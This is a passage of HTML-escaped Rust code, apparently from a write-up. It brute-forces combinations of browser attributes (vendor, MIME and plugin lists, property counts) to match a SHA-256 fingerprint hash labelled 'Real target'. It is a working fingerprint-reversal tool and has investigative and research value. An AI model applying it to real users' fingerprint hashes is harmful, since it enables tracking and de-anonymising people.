    &lt;span class=&quot;n&quot;&gt;plug_desc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;construct_f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Browser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_capacity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.online&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sc&quot;&gt;&apos;o&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.vendor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.mimes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.navs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.wins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.plug_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.push_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.plug_desc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Test target that&apos;s my browser&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// const TARGET: &amp;amp;&apos;static str = &quot;31504a9568837f94e9f0afe8387cf945fb4929b81e53caf16bdf65c417e294e0&quot;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// Real target&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TARGET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;31c6b7c46ff55afc8c5e64f42cc9b48dde6a04b5ca434038cd2af8bd3fd1483a&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;utf16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_utf16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hex_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;utf16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;assert_eq!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;hex_hash&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hex_hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TARGET&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ForceConfig&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;navs_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;navs_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;wins_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;wins_end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PLUGNAMES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;internal-remoting-viewer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;internal-pdf-viewer&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;widevinecdmadapter.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;PepperFlashPlayer.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;internal-nacl-plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;libpdf.so&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;pepflashplayer.dll&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Flash Player.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;WebEx64.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;CitrixOnlineWebDeploymentPlugin.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;googletalkbrowserplugin.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;AdobePDFViewerNPAPI.plugin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;libpepflashplayer.so&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PLUGDESCS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;This plugin allows you to securely access other computers that have been shared with you. To use this plugin you must first install the &amp;lt;a href=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;https://chrome.google.com/remotedesktop&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;gt;Chrome Remote Desktop&amp;lt;/a&amp;gt; webapp.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Portable Document Format&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Enables Widevine licenses for playback of HTML audio/video content. (version: 1.4.9.1070)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Plugin that detects installed Citrix Online products (visit www.citrixonline.com).&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Shockwave Flash 9.0 r0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;// SNIPPED: versions 10 through 28. These didn&apos;t end up being necessary.&lt;/span&gt;
    &lt;span class=&quot;s&quot;&gt;&quot;Shockwave Flash 29.0 r0&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;force&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ForceConfig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_navs&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.navs_end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.navs_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_wins&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.wins_end&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.wins_start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;max_mime&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;num_navs&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;num_wins&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_mime&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PLUGNAMES&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PLUGDESCS&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Brute forcing {} combinations&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;one_segment&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;/&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tick&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;navs&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.navs_start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.navs_end&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wins&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.wins_start&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.wins_end&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mimes&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;..&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;max_mime&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plug_name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PLUGNAMES&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plug_desc&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;PLUGDESCS&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Browser&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                            &lt;span class=&quot;n&quot;&gt;online&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                            &lt;span class=&quot;c1&quot;&gt;// vendor: &quot;&quot;,&lt;/span&gt;
                            &lt;span class=&quot;n&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Google Inc.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                            &lt;span class=&quot;c1&quot;&gt;// vendor: &quot;Opera Software ASA&quot;,&lt;/span&gt;
                            &lt;span class=&quot;n&quot;&gt;mimes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;navs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;wins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plug_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;plug_desc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;construct_f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;good&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;test&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;nd&quot;&gt;assert!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;good&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{:?}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

                        &lt;span class=&quot;n&quot;&gt;tick&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tick&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;one_segment&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                            &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Done {}/{}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tick&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

